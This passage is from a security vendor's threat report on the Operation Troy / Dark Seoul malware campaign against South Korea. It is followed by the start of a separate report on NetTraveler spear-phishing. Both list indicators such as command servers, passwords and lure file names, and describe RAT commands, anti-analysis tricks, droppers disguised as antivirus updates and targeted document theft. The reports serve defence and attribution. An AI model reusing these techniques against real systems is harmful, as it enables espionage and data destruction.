This is especially important in cases such as cyberespionage, in which the intent is to remain invisible.
In our analysis we observed a number of unique attributes in the components involved in these attacks these markers allowed us to link specific samples to a specific group.
Two groups have taken credit for these attacks, but we can tell that the variants which wiped the systems link to the NewRomanic Cyber Army Team.
Although the Whois Hacking Team is more public due to its defacement of the network provider LG Us website, we can link this group to only one sample of a wiper, which operates differently than the others.
The Whois wiper is much larger, with a file size of 236KB and was compiled March 19, whereas the other wiper components are a mere 24KB.
The larger size suggests the Whois wiper contains more functions.
Thus, we can definitively link NewRomanic to the samples used to wipe the MBRs of systems within the South Korean financial institution networks.
NewRomanic will remain the prime suspect involved in the attacks.
Confirming the link between NewRomanic and known wiper samples, we found a number of wiper samples contained either the string hastati or principes in the calling cards left by the attacker.
Sample MD5 Compilation Date Detection Name db4bbdc36a78a8807ad9b15a562515c4 January 31, 2013 KillMBR-FBIA 5fcd6e1dace6b0599429d913850f0364 January 31, 2013 KillMBR-FBIA f0e045210e3258dad91d7b6b4d64e7f3 January 31, 2013 KillMBR-FBIA Table 2: Wiper samples connected to the NewRomanic Cyber Army Team.
7 Dissecting Operation Troy: Cyberespionage in South Korea Not only did most of the wiper samples link to NewRomanic, but the remote-access Trojan can also be linked to the group.
The Trojan contained a build path that mentions Troy in the directory path, again consistent with the ancient Roman references used by this group.
Figure 2.
The remote-access Trojan names Troy.
This reference links the attack to the NewRomanic Cyber Army Team.
Code Analysis It is highly unusual that two groups claim responsibility for these attacks.
No further information has been revealed as to who they are or what their motivations are this is another reason to suspect that these two groups are the same and are actually fabricated.
The supporting evidence comes in the form of code analysis determining the degree of similarity between the samples.
The Whois Hacking Team sample was compiled March 19 at 1:57 pm local time and the NewRomanic dropper was compiled March 20 at 4:07 am local time.
The attacks on South Korean banks and media and the defacement of LG U occurred approximately 2:00 pm local time on March 20.
McAfee Labs investigated the differences between the two samples at a code level to determine if there were any similarities.
In spite of the fact that the wiper component originating from NewRomanic Cyber Army Team was 24KB in size and the component from Whois was 236KB, we did find similarities within the code.
The Whois sample is a dropper for a component that closely resembles the one used by the NewRomanic Cyber Army.
We found a significant number of matching subroutines and a large number of code segments with only minor differences.
These similarities lead us to conclude that the payload code is based upon the same initial code and was embedded into different droppers.
Whois Sample NewRomanic Sample  of Different Functions _alloca_probe _alloca_probe exact match sub_4078C0 loc_40291F 15 sub_4030A0 loc_302f40 17 loc_404f54 loc_403169 1 loc_4033a1 loc_4084ee exact match loc_4065f4 loc_403694 exact match start sub_401870 131 sub_402D02 sub_407BC9 0 sub_407c7a sub_402DB3 10 sub_4083F5 sub_40327D 4 sub_403770 sub_409980 exact match Table 3: Partial analysis of subroutine differences.
Revealing Operation Troy Persistent espionage campaign in South Korea: 20092013 Public reports covering what is known as the Dark Seoul incident, which occurred on March 20, 2013, addressed only the MBR wiper components.
Many of the details of this incident have been examined, and most analysts conclude this was an isolated, though clearly coordinated, attack.
However, McAfee Labs has found that there was more to the incident than what was widely reported.
Our analysis has revealed a covert espionage campaign.
Typically this sort of advanced persistent threat (APT) campaign has targeted a number of sectors in various countries, but Operation Troy, as these attacks are now called, targets solely South Korea.
8 Dissecting Operation Troy: Cyberespionage in South Korea From our analysis of unique attributes within the malware samples we have determined that the initial code behind the Troy family of Trojans was created in 2010, as was another component that was dropped by the Trojan HTTP Troy.
The malware used in these attacks were compiled to specifically target South Korea and used Korean-language resources in the binaries.
The malware connected to legitimate Korean domains that were running a bulletin board and sent a specific command to a PHP page to establish an IRC channel and receive commands.
2009 US/South Korean Military Attacks DDoS Attacks 10 Days of Rain Media/Broadcast Attacks Financial Industry Attacks Chang EagleXP NSTAR HTTP Troy Mail Attack Http Dr0pper Tong Concealment Troy MBR Wiper 3Rat Client TDrop Suspected Link Solid Link Highly Probable Link Operation TroyDomestic Spying Period Espionage Campaign Dark Seoul 2011 2012 2013 March 20, 2013 2010 Figure 3.
The targeted attack Dark Seoul reached its culmination in March 2013, but its roots go back at least to 2009, when the Trojans sourcecode was first compiled.
Subsequent variations of the malware have also been involved in these threats.
McAfee Labs has determined that domestic espionage activities occurred before the March 20 attacks, most likely to gain intelligence regarding the targets to carry out further attacks (such as the March 20 incident) or to benefit the attackers in some other ways.
This spying operation had remained hidden and only now has been discovered through diligent research and collaboration.
We also suspect the attackers had knowledge of the security software running within the environment before they wiped the systems, given that some of the variants used in the attack were made to look as if they were antimalware update files from before March 20.
The attackers who conducted the operation remained hidden for a number of years prior to the March 20 incident by using a variety of custom tools.
Our investigation into Dark Seoul has found a long-term domestic spying operation underway since at least 2009.
The operation, all based on the same code, has attempted to infiltrate specific South Korean targets.
We call this Operation Troy, based on the frequent use of the word Troy in the compile path strings in the malware.
The prime suspect group in these attacks is the New Romanic Cyber Army Team, which makes frequent use of Roman and classical terms in their code.
While analyzing malware components from before the March 20 incident we found both similar and identical attributes of the files involved that enable us to link them to the 3Rat remote administration tool client used on March 20 as well as to samples dating to 2010.
Furthermore, we determined that through prior access to the victims networks, the attackers were able to upload the MBR wiper component and distribute it.
It is also possible that the campaign known as 10 Days of Rain is a byproduct of Operation Troy some of our analysis suggests that the malware Concealment Troy was present in these attacks.
Tools and tactics NSTAR: 20102011 NSTAR appears to be the first production version of the Troy family.
This Trojan is based upon malware created for a military espionage campaign that first emerged in 2009.
NSTAR is the first to use components in the same way that later variants of the Troy family do.
It included a shared DLL (bs.dll) that was found in the 2010 and 2011 variants.
Later variants use a modified version, HTTPSecurityProvider.dll, which employs nearly the same file-mapping function as used by bs.dll.
Most of these variants are compiled from the Work directory thats fairly consistent throughout all versions.
The DLL was compiled using Microsoft Visual C Version 6.
Those iterations were found in 2010-2011.
9 Dissecting Operation Troy: Cyberespionage in South Korea The call graph generated for NSTARs bs.dll is identical with that of HTTP Troy.
They were compiled at least a year apart from each other.
Figure 4.
Call graph for bs.dll from the NSTAR variant of the Troy Trojan.
Figure 5.
Call graph for bs.dll from the HTTP Troy variant.
The DLL was compiled March 3, 2011, and includes an OCX component that was compiled in late 2010.
The OCX used a very different compile path, but bs.dll, the backdoor, is essentially the same as those seen in later versions.
The Work directory, with path shown below, is also used with Troy variants Concealment Troy and 3Rat Client, which were both compiled in 2013.
E:\Work\BackUp\2011\nstar_1103\BackDoor\BsDll-up\Release\BsDll.pdb 10 Dissecting Operation Troy: Cyberespionage in South Korea We also found a file-mapping function in this variant similar to those in most of the newer versions.
The unique string beginning with FFFFFFF is identical and occurs throughout the later variants.
Figure 6.
NSTARs file-mapping function.
The malware establishes an IRC channel to receive real-time commands in the same manner as the military espionagemalware.
Figure 7.
NSTAR communicates with its control server via HTTP as its primary channel.
Chang and EagleXP: 2010 Another variant from 2010, EagleXP, is closely related to NSTAR and HTTP Troy based on reused components.
EagleXP usedthis compile path: D:\VMware\eaglexp(Backup)\eaglexp\vmshare\Work\BsDll-up\Release\BsDll.pdb Again we see the Work directory involved as in the other post-2010 malware used in this campaign.
A variant compiled May 27, 2010, also contained a very similar compile path.
We were able to obtain some traffic from the control server.
D:\\Chang\\vmshare\\Work\\BsDll-up\\Release\\BsDll.pdb The May 27 variant, called Chang, operated in the same manner as other Troy variants and used the same bs.dll.
A Korean manufacturing website hosted both the control server and an IRC server.
Figure 8.
Outbound traffic from an infected system.
Figure 9.
The malware establishes a channel with the control server via IRC.
Both the Chang and EagleXP variants are based on the same code that created NSTAR and later Troy variants.
These similarities confirm the attackers have operated for more than three years against South Korean targets.
11 Dissecting Operation Troy: Cyberespionage in South Korea Inside the IRC botnet Concealment Troy Tong TDrop Dochang.pe.kr Mupa.co.kr Nowq.net NSTAR HTTP Troy Http Dr0pper Byonshop.com Dong.a.jp Troy Botnet Toneharbor.com Sujewha.com Qitaegyo.com Delmundo.kr Theumin.net Gcglobal.com Apsumo.co.kr Hanja.edu.com Traveler.foxlink.com Solarshare.co.kr Lawbookcenter.co.kr Babcom-h1.bluethunder.co Figure 10.
The malware family and its control servers.
During our investigation we dug into the attackers controlling botnet, which was used until 2013.
The infrastructure relied upon on a network of hacked South Korean websites hosting IRC servers.
The infected clients in turn communicated with the IRC servers using RSA encryption and used functions imported from the Microsoft Cryptography API library.
Figure 11.
Some functions imported from the Microsoft Cryptography API.
12 Dissecting Operation Troy: Cyberespionage in South Korea The attackers hardcoded the control domains in bs.dll and distributed it in the final compiled Trojan code.
Each variant of each generation of Trojans contained different hardcoded strings pertaining to the control servers.
This shows that the attackers first compromised the future IRC server sites and then compiled the component and distributed it to infectedtargets.
Figure 12.
Hardcoded addresses in bs.dll.
The nickname for the bot can be determined by the outbound traffic and information written to the Windows registry.
One variant operating in June 2010 used the nickname BS000C2918AB11 with the password wodehaopeng.
The malware joined the IRC channel god and sent several private messages to what was likely the control server to receive instructions.
PRIVMSG X111112352643[1] : A5TbaKuqCO641tirNl51rFLdNHeUhMbUiJ93sO5rip9X7AZG0Y8rlZVmItEEfDrmNL19OpJrv2khO5WbflTqxs7FVgzUNfdvtnjbObWeNNVPlF/yXPQIEDj/4YnidGDAq p7m8lFpnC2Pyz26OOooEUMqG6rKImyFQLM/V7K69E Variant Bot IRC Nickname Http Dr0pper YN000E0C3CB868 HTTP Troy B9E02E29C4 TDrop TE02E29C NSTAR HE02E29C4 Tong CO000E0C2892FA EagleXP B3000C2918AB11 Chang X000C295C5DEC Table 4: IRC bot nicknames used by variants.
HTTP Troy: 2011 In 2011 the attackers created the Trojan HTTP Troy, named from its compile path string this was the first of the Troy family of Trojans.
To date we have found only one sample of HTTP Troy.
Upon execution the malware launches a crippled GUI that allows the victim to install a screen saver displaying politically sensitive images.
We dont know why the developers took the risk of making the Trojan visible.
The screensaver component (chonanship.scr) is not malicious and was compiled on December 12, 2010.
It contained images related to the sinking of the South Korean Navy ship Cheonan.4 HTTP Troy was compiled on March 20, 2011, and contained the compile path Z:\source\1\HttpTroy\BsDll-up\Release\BsDll.pdb.
As we can see, HTTP Troy uses the same DLL as the NSTAR, Chang, and EagleXP variants did in 2010.
This path was contained in a dropped DLL component that was used to establish a hidden IRC channel to the attackers control server.
The primary dropper file for this remote-access Trojan was disguised as AhnLabs Smart Update Utility setup program.
The original filename was SUpdate.exe.
After executing, the remote-access Trojan makes a connection to sujewha.com, the IRC control server.
Figure 13.
HTTP Troy communicates with its control server via IRC.
13 Dissecting Operation Troy: Cyberespionage in South Korea Http Dr0pper: 2012 We found a second-generation Trojan based on HTTP Troy that included the compile path Z:\1Mission\Team_Project\ [2012.6]\HTTP Troy\HttpDr0pper\Win32\Release.
This Trojan, Http Dr0pper, was compiled in 2012 from the HTTP Troy directory, indicating it is an advancement of the original HTTP Troy.
All of the variants from this point reuse a specific DLL, which in some instances is named HTTPSecurityProvider.dll and uses the Microsoft Cryptography API to secure communications.
We can track the reuse of this DLL based on the consistent file-mapping function that appears throughout the variants.
Figure 14.
The malware Http Dr0pper using the same file-mapping function and DLL as other versions.
We can determine that another variant, Tong (based on the directory in which it was compiled), also reuses this DLL and contains the same function.
Figure 15.
The malware Tong using the same file-mapping function and DLL as other versions.
Furthermore, variants such as Concealment Troy that were compiled in 2013 contain the same function once decoded.
Still, some of the base code is reused in the supporting DLL for Concealment Troy.
Figure 16.
The malware Concealment Troy using the same function (encoded function shown).
After execution the Trojan makes a connection to the control server using specific parameters that include the IRC nickname.
This communication pattern is consistent with other variants that reference Troy.
Figure 17.
Communicating with the control server.
Tong: 2012 The Tong variant contains the compile path E:\Tong\Work\Op\1Mission\Team_Project\[2012.6]\HTTP Trojan 2.0\HttpDr0pper\ Win32\Release.
It also communicated using the same methods.
This Trojan was compiled on August 28, 2012.
Figure 18.
Tong communicating with its control server.
14 Dissecting Operation Troy: Cyberespionage in South Korea Compile Date Compile Path July 4, 2012 Z:\1Mission\Team_Project\[2012.6]\HTTP Troy\HttpDr0pper\Win32\Release\3HttpDropper.pdb July 7, 2012 Z:\1Mission\Team_Project\[2012.6]\HTTP Troy\HttpDr0pper\Win32\Release\HttpSecurityProvider.pdb August 28, 2012 Z:\1Mission\Team_Project\[2012.6]\HTTP Troy\HttpDr0pper\Win32\Release\HttpSecurityProvider.pdb August 29, 2012 Z:\1Mission\Team_Project\[2012.6]\HTTP Troy\HttpDr0pper\Release\HttpSecurityProvider.pdb Table 5: Components dropped by Tong.
TDrop: 2013 TDrop is the third generation of HTTP Troy.
TDrop uses one of two DLL files, payload32.dll and payload64.dll, and injects one, depending on operating system, into svchost.exe.
Previous versions used bs.dll, which contained the code for communicating with the IRC botnet.
TDrop has some further functionality not present in HTTP Troy that extends this Trojans ability to operate on 64-bit machines and to evade automated analysis systems and emulation technologies.
The evasion routines check for the presence of debuggers and tracers that attach to the parent process.
This effectively causes the parent process to immediately terminate when under analysis by emulation or sandboxing systems that attempt to hook and monitor API calls coming from that process.
Figure 19.
The antidebugging feature in payload32.dll.
Furthermore, TDrop uses a DLL to run under nonprivileged accounts on Windows 7.
This variant was compiled on January 15, 2013, and contained the compile path D:\Work\Op\Mission\TeamProject\[2012.1112]\TDrop\Dropper32\Release\ Dropper.pdb.
The main executable, which extracts the other components, was compiled from the path Z:\Work\v3zip\ misc.c and Z:\Work\v3unzip.c.
This is likely a compression tool to extract the files to the desktop.
Just as Http Dr0pper, TDrop uses the disguised dropper component AhnlabUpdate.exe.
The unique code is nearly identical to that used in Http Dr0pper with the exception of the last two characters.
Figure 20.
TDrop reusing code from Http Dr0pper.
15 Dissecting Operation Troy: Cyberespionage in South Korea When the main Trojan file executes, it launches RunCmd.exe, which itself doesnt appear to be malicious.
RunCmd.exe then launches AhnlabUpdate.exe based on the specified filename in the associated RunCmd.ini file.
These files are created in the directory 114719_507_AhnlabUpdateKit, which sits in a temp directory created on the desktop.
It is obvious that the attackers were aware of the security product that the target environment used and attempted to make the malware appear as legitimate as possible.
AhnlabUpdate drops and runs an additional executable, which is the RAT payload that establishes a connection with the control server.
Main.
EXE RunCmd.exe ERC6C8.tmp AhnlabUpdate.exe Figure 21.
TDrop disguises its presence by appearing to be a security product.
Concealment Troy: 2013 Another third-generation Troy family Trojan is Concealment Troy.
This version was compiled from the same directory as the 3Rat client found in the victims environments on March 20.
Some components from Concealment Troy suggest that the source code was originally written in 2010 and was later compiled for use in this campaign.
The 64-bit component to install the backdoor on the victims systems contains an interesting compile path and was first created on November 28, 2012.
C:\test\BD_Installer_2010\x64\Release\BD_Installer_2010.pdb The 32-bit version was compiled January 23, 2013, and contained this compile path: Z:\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy(Winlogon_Shell)\\SetKey_WinlogOn_Shell_Modify\\BD_Installer\\Release\\BD_Installer.pdb Component Compile Path Compile Date (all 2013) BDInstaller1 Z:\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy(Winlogon_Shell)\\SetKey_WinlogOn_Shell_Modify\\ BD_Installer\\Release\\BD_Installer.pdb January 23 BackdoorEXE Z:\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy(Winlogon_Shell)\\Concealment_Troy(exe)\\Release\\ Concealment_Troy.pdb February 4 BackdoorDLL Z:\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy(Winlogon_Shell)\\Dll\\Concealment_Troy(Dll)\\ Release\\Concealment_Troy.pdb February 22 BDInstaller2 Z:\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy(Winlogon_Shell)\\SetKey_WinlogOn_Shell_Modify\\ BD_Installer\\Release\\BD_Installer.pdb February 22 MainDropper2 None February 22 MainDropper3 None February 23 Table 6: Compilation timeline for Concealment Troy.
16 Dissecting Operation Troy: Cyberespionage in South Korea Concealment Troy does not employ real-time IRC control as earlier versions did.
(
Concealment Troy is a typical HTTPbotnet.)
Figure 22.
Concealment Troy abandons the use of IRC for real-time control and uses HTTP as its primary channel.
Military Espionage Malware: 20092013 McAfee Labs has uncovered a sophisticated military spying network targeting South Korea that has been in operation since 2009.
Our analysis shows this network is connected to the Dark Seoul incident.
Furthermore, we have also determined that a single group has been behind a series of threats targeting South Korea since October 2009.
In this case the adversary had designed a sophisticated encrypted network designed to gather intelligence on military networks.
We have confirmed cases of Trojans operating through these networks in 2009, 2010, 2011, and 2013.
This network was designed to camouflage all communications between the infected systems and the control servers via the Microsoft Cryptography API using RSA 128-bit encryption.
Everything extracted from these military networks would be transmitted over this encrypted network once the malware identified interesting information.
What makes this case particularly interesting is the use of automated reconnaissance tools to identify what specific military information internal systems contained before the attackers tried to grab any of the files.
October 21, 2009 Military Attacks August 21, 2010 Military Attacks take.chu.jp seung.us sarangbang.us christkingchurch.us February 28, 2011 Military Attacks January 13, 2013 Military Attacks djuna.cine21.com strider.pe.kr dochang.pe.kr kairoshairstory.com.au ejiweb.com dennisoneil.net daeilho.net Figure 23.
Encrypted data exfiltration network.
17 Dissecting Operation Troy: Cyberespionage in South Korea The attacks would have occurred in four general stages: Initial compromise via a watering-hole attack, which would lead to the exploitation of the internal systems (in the 2009 case).
(
The attacker placed a zero-day exploit on a military social networking site.)
Later cases were likely spear phishing to more quickly get to the right targets.
Malware automatically performs recon on target systems looking for documents of interest.
Malware can also scrape out passwords and registry information along with directory listing of interesting files.
The attacker can request directory contents from infected systems based on the number of interesting files found.
Can selectively grab specific files as needed.
Stolen files are transmitted via HTTP-encrypted channel to the attackers server.
The encrypted network The attackers encrypted network uses Microsofts Cryptography API library Version 1.0 to encrypt communication channels to the control servers over both HTTP and IRC.
The encryption uses a 128-bit RSA key, shown as imported and used by the following code.
Figure 24.
Function to call the Cryptography API library.
18 Dissecting Operation Troy: Cyberespionage in South Korea Figure 25.
RSA encryption key used to camouflage communications.
This network operates over both HTTP and uses IRC as secondary channel for real-time operations.
The IRC network is based on the open-source library libircclient5 and everything sent over this IRC channel is encrypted via the Cryptography API.
Figure 26.
Establishing an IRC channel session.
The following commands are supported by IRC to control infected systems in real time.
This functionality enables the attacker to send and receive files on demand and execute remote commands.
The messages sent between client and servers are base64 encoded and then encrypted using the Cryptography API thus a message must be decoded and decrypted to be visible.
This highly sophisticated method provides for great flexibility over a secure encrypted channel thatis not SSL.
Get bot version and uptime Get directory file listing, all drives or from specific path Stop activities for a given period Download file Send local file to the server Execute shell command Connect to IRC server Change nick (IRC) Join channel (IRC) IRC disconnect Remove bot from system 19 Dissecting Operation Troy: Cyberespionage in South Korea Figure 27.
Functions for IRC commands.
The HTTP portion is designed to get configuration data used in the IRC botnet and to send stolen documents back to the control server.
Figure 28.
HTTP Get command with parameters.
20 Dissecting Operation Troy: Cyberespionage in South Korea Figure 29.
HTTP Get command continued.
Figure 30.
HTTP Get command continued.
21 Dissecting Operation Troy: Cyberespionage in South Korea The encrypted network operates by scanning infected systems and categorizing those systems that contain interesting documents.
The malware does not extract every document that is found as a match through drive scanning rather it assigns a unique signature to the infected system according to what it contains.
Less interesting systems are less likely to have documents extracted from them.
The directory contents are uploaded to the attackers server, which lets the attacker grab documents at will and keeps the amount of network traffic low.
Data exfiltration The theft of classified information is the primary purpose of this network and would occur through drive scanning.
Drive scanning locates classified information on target systems and gives the attacker an overall idea of what these military networks have.
The malware searches the root disk, counts the number of interesting files, and determines the level of that systems importance to the attacker.
The search criteria are primarily specific file extensions and keywords in document titles.
The keywords are all military specific.
Some refer to specific military units and programs that operate in South Korea.
This function would determine only the number of interesting files that are contained on any given system another function would extract the list of files that match these search criteria.
Figure 31.
The drive scan function.
22 Dissecting Operation Troy: Cyberespionage in South Korea In addition to searching for English keywords, the function searches for Korean ASCII characters that represent a subset of military terms.
Most keywords specific to military operations in South Korea are in English.
There is also a set of abbreviations.
Figure 32.
Google translation of ASCII characters.
23 Dissecting Operation Troy: Cyberespionage in South Korea The files to be sent to the attackers server are zipped using the open-source Zip Utils.6 The component uses the password dkwero38oerAt.
We have consistently found this password in the malware dating back to 2009.
It is used primarily to archive items to be stolen from infected systems.
Figure 33.
The function to zip stolen documents.
The DLL relationship In all of these threats we have seen the consistent use of bs.dll, a stripped down version of ip6ld.dll, which we have found in the military espionage cases.
We can connect not only similar functions within bs.dll from 2011 to date with those of the military cases in 2009 and 2010, but also the shared encryption key for zipping classified information to be sent to the control server.
This ip6ld.dll is the same as another file, 81923.dll both operate in the same manner.
Bs.dll appears to be used primarily for IRC botnet communications.
The component bs.dll has been seen in a number of Troy-era malware samples: Chang, EagleXP, NSTAR, Mail Attack, HTTP Troy, Tong, Http Dr0pper, etc.
The file Ip6ld.dll, which contains much of the logic described in these attacks, shares a number of common functions with bs.dll, including the zip encryption password.
In addition, the IRC and encryption functions are the same in both files, indicating they were built by the same individual or group.
The two functions are likely the same source code in different versions.
The primary difference between them is bs.dlls lack of searching for specific extensions and terms that Ip6ld.dll and 81923.dll contain.
This suggests bs.dll requires a second module and we have seen that with the Mail Attack variant, compiled in February 2011, which contained both bs.dll and payload.dll, with the latter containing the military-specific search and extraction functions.
24 Dissecting Operation Troy: Cyberespionage in South Korea Figure 34.
The bs.dll function to scan all drives based on a specified extension.
The following function found in bs.dll lists the contents of specified directories and zips those contents into an archive file with a password.
This function doesnt have any criteria and is likely disabled in some cases, such as with HTTP Troy, which downloads a payload module to search for data.
Figure 35.
A bs.dll function to list and send directory contents.
25 Dissecting Operation Troy: Cyberespionage in South Korea Figure 36.
A bs.dll function to send directory contents to remote server.
Payload.dll appears to combine both drive searching and directory listing into a single function.
A separate action puts the directory contents into a separate file and prepares it to be sent to the remote server.
Figure 37.
A payload.dll drive-search function.
26 Dissecting Operation Troy: Cyberespionage in South Korea Figure 38.
A function to zip contents.
27 Dissecting Operation Troy: Cyberespionage in South Korea Relationships to Http Dr0pper We have determined that some variants of Http Dr0pper will execute payload32.dll, which is essentially the same DLL that is found in TDrop.
This component contains military keywords.
One variant of Http Dr0pper made use of payload32.
dll, which was compiled on August 23, 2012.
The TDrop version was compiled January 13, 2013.
This consistency confirms further that the operations against South Korea are primarily focused on military intelligence gathering and have attempted to break in since 2009.
Destroying the target The espionage malware has the capability to destroy systems in the same way that the March 20, 2013, attacks disabled thousands of systems in South Korea.
This capability could be devastating if military networks were to suddenly be wiped after an adversary had gathered intelligence.
This was clearly the case with the March 20 Dark Seoul incident, in which we confirmed that the 3Rat Trojan gained access prior to the MBR-wiping event.
There was at least one limitation, however: We found the malware of February 2011 could wipe its targets only if it detected that it was being debugged or analyzed by a security product.
Figure 39.
The malwares function to wipe the MBR.
28 Dissecting Operation Troy: Cyberespionage in South Korea The campaigns Through our research we have discovered a number of distinct subcampaigns as part of the overall Operation Troy, which has targeted military forces in South Korea to extract classified information.
These operations were designed to occur in 2009 through 2013.
Recently we uncovered evidence to suggest that they continued just prior to Dark Seoul.
We can link the actor(s) responsible for Dark Seoul to these particular espionage campaigns through various technical means.
The Troy-era malware is based on the same source code to create these specialized versions (components shared over theyears).
The zip encryption password is found in almost all instances, with the exception of Concealment Troy.
Consistent terms in the malware compile paths (for example, Troy, Work, etc.
).
The same IRC botnet channel and encryption method are used throughout the variants.
Military keywords are consistently found through the components spanning 20092013, confirming the intent of thisadversary.
Use of the same string-obfuscation techniques in the 20092010 campaigns and the 20122013 campaigns.
Malware from 2009 Military Attacks Malware from 2012 Military Attacks Malware from 2013 Military Attacks dkwero38oerAt Mail Attack HTTP Troy NSTAR Chang EagleXP Http Dr0pper Tong TDrop Malware from 2010 Military Attacks Malware from 2011 Military Attacks Figure 40.
Shared encryption password.
Conclusion McAfee Labs can connect the Dark Seoul and other government attacks to a secret, long-term campaign that reveals the true intention of the Dark Seoul adversaries: attempting to spy on and disrupt South Koreas military and government activities.
The Troy-era malware is based on the same source code used to create these specialized variants and shares many commonalities, such as bs.dll and payload.dll, which are found consistently throughout the families.
The attackers have attempted since 2009 to install the capability to destroy their targets using an MBR wiper component, as seen in the Dark Seoul incident.
From our analysis we have established that Operation Troy had a focus from the beginning to gather intelligence on South Korean military targets.
We have also linked other high-profile public campaigns conducted over the years against South Korea to Operation Troy, suggesting that a single group is responsible.
2821 Mission College Boulevard Santa Clara, CA 95054 888 847 8766 www.mcafee.com 1 http://en.wikipedia.org/wiki/Principes 2 http://en.wikipedia.org/wiki/Hastati 3 http://en.wikipedia.org/wiki/Troy 4 http://en.wikipedia.org/wiki/ROKS_Cheonan_sinking 5 https://github.com/jonasschnelli/IRCClient 6 http://www.wischik.com/lu/programmer/zip_utils.html McAfee, the McAfee logo, and Global Threat Intelligence are registered trademarks or trademarks of McAfee, Inc. or its subsidiaries in the United States and other countries.
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The product plans, specifications and descriptions herein are provided for information only and subject to change without notice, and are provided without warranty of any kind, express or implied.
Copyright  2013 McAfee, Inc. 60254wp_operation-troy_0713_fnl_ETMG About the Authors Ryan Sherstobitoff is a threats researcher with McAfee Labs.
Formerly, he was Chief Security Strategist at Panda Security, where he managed the US strategic response for new and emerging threats.
Sherstobitoff is widely recognized as a security and cloud computing expert.
Itai Liba is a senior security researcher with McAfee Labs.
He is a member of the botnet research team.
Itai has worked in mobile vulnerability research as well as large-scale reverse-engineering projects and display driver development.
He has more than 10 years of experience in reverse engineering.
James Walter is the director of Global Threat Intelligence Operations and manages the McAfee Threat Intelligence Service (MTIS) for the Office of the CTO.
He focuses on new threats research as well as the cataloging and maintenance of vulnerabilities and associated countermeasures.
Walter has been with McAfee for more than 14 years and leads a global team of threats analysts who create Security Advisories, countermeasure/detector feeds, Global Threat Intelligence apps, and more.
He is a frequent speaker at industry events and conferences, and cohosts AudioParasiticsThe Official Podcast of McAfee Labs.
About McAfee Labs McAfee Labs is the global research team of McAfee.
With the only research organization devoted to all threat vectors malware, web, email, network, and vulnerabilitiesMcAfee Labs gathers intelligence from its millions of sensors and its cloud-based service McAfee Global Threat Intelligence.
The McAfee Labs team of 500 multidisciplinary researchers in 30 countries follows the complete range of threats in real time, identifying application vulnerabilities, analyzing and correlating risks, and enabling instant remediation to protect enterprises and the public.
http://www.mcafee.com/labs About McAfee McAfee, a wholly owned subsidiary of Intel Corporation (NASDAQ: INTC), empowers businesses, the public sector, and home users to safely experience the benefits of the Internet.
The company delivers proactive and proven security solutions and services for systems, networks, and mobile devices around the world.
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http://en.wikipedia.org/wiki/Principes http://en.wikipedia.org/wiki/Hastati http://en.wikipedia.org/wiki/Troy http://en.wikipedia.org/wiki/ROKS_Cheonan_sinking https://github.com/jonasschnelli/IRCClient http://www.wischik.com/lu/programmer/zip_utils.html http://www.mcafee.com/labs http://www.mcafee.com
NetTraveler APT Targets Russian, European Interests proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests Overview Throughout 2016, Proofpoint researchers tracked a cyber-espionage campaign targeting victims in Russia and neighboring countries.
The actor utilizes spear phishing campaigns to deliver NetTraveler, also known as TravNet.
First observed as early as 2004, NetTraveler is a Trojan used widely in targeted attacks.
We believe that this attacker operates out of China.
In addition to Russia, targeted regions include neighboring countries such as Mongolia, Belarus, and other European countries.
The spear-phishing campaigns we detected use links to RAR-compressed executables and Microsoft Word attachments that exploit the CVE-2012-0158 vulnerability.
This particular APT is targeting organizations that include weapons manufacturers, human rights activists, and pro-democracy groups, among others.
Background Previously we described activity by the same actor  In Pursuit of Optical Fibers and Troop Intel  [2] in which this group utilized PlugX malware to target various telecommunication and military interests in Russia.
Since January 2016, this group switched to using NetTraveler and varied its targets, but otherwise left most of its tools, techniques, and procedures (TTPs) unchanged.
It is worth noting that this and other China-based espionage groups have reduced their reliance on PlugX for unknown reasons, with only a few major incidents involving PlugX this year [5].
Moreover, there are some indications that this or a closely related group utilized Saker, Netbot, DarkStRat, and LURK0 Gh0st in its espionage activities.
We previously mentioned this in our 2015 publication on PlugX.
Palo Alto Networks also demonstrated links via tools and infrastructure used in these attacks in their MNKit [4] research, as did Kaspersky [1] and ESET [3] in their respective publications.
Spear-Phishing One of this actors favorite techniques is to register news and military lookalike sites and use them for Command and Control (CC) and for payload hosting.
Days prior to launching a wave of spear-phishing, the actor selects a victim-relevant news topic such as nuclear energy, military training, or geopolitics.
The actor then finds a news article on the topic and uses it as a basis for the phishing lure, including file names, relevant decoy documents, image files, and email content.
1/10 https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests http://www.cve.mitre.org/cgi-bin/cvename.cgi?namecve-2012-0158 https://www.proofpoint.com/us/threat-insight/post/PlugX-in-Russia http://researchcenter.paloaltonetworks.com/2016/01/nettraveler-spear-phishing-email-targets-diplomat-of-uzbekistan/ For example, the actor emailed the URL www.info-spb[.
]com/analiz/voennye_kommentaria/n148584.rar to potential victims in early February.
The URL links to a RAR file which contains the executable .scr (Attacking the American space systems will be very costly.scr) and two benign decoy documents.
One of these documents is shown in Figure 1 below: Figure 1: One of the decoy documents,          .doc (New Shield and Sword Armed forces of Russia and USA.doc) Figure 2 shows the legitimate news story that served as the basis for the spear-phishing lure.
2/10 Figure 2: The decoy document copies the text of this legitimate news article that describes new Russian ICBMs [9] The RAR archives hosted on look-alike domains always contain RAR SFX-packaged executables that drop and load NetTraveler.
A sampling of the various filenames used for executables is provided below: Indicators of Compromise (IOC) 3/10 Embedded Filename Translation .scr Service and repair of military communication equipment.scr  .scr Attacking american space systems will be costly.scr .scr Text of speech of head of state.scr  .scr Fifteenth session of Eurasian economic commission.scr - 2016.scr Joint anti-terrorism training Antiterror 2016.scr .scr Meeting of Chief of General Staff with Bordyuzh.scr  20.04.2016 .scr Changes to the list of affiliated persons for 20.04.2016.scr Table 1: File names of executables inside RAR archives and their English translations In some cases, instead of sending URLs in the spear-phishing emails, the attackers sent Microsoft Word attachments utilizing CVE-2012-0158 to exploit the client and install NetTraveler.
These documents were built with MNKit, described in detail here [4] [6].
For example, the attachment   .doc (which translates to Plan of realization of project.doc) was sent to potential victims in January 2016.
As shown in Figure 3, various builder artifacts are visible in the document indicating the use of a builder.
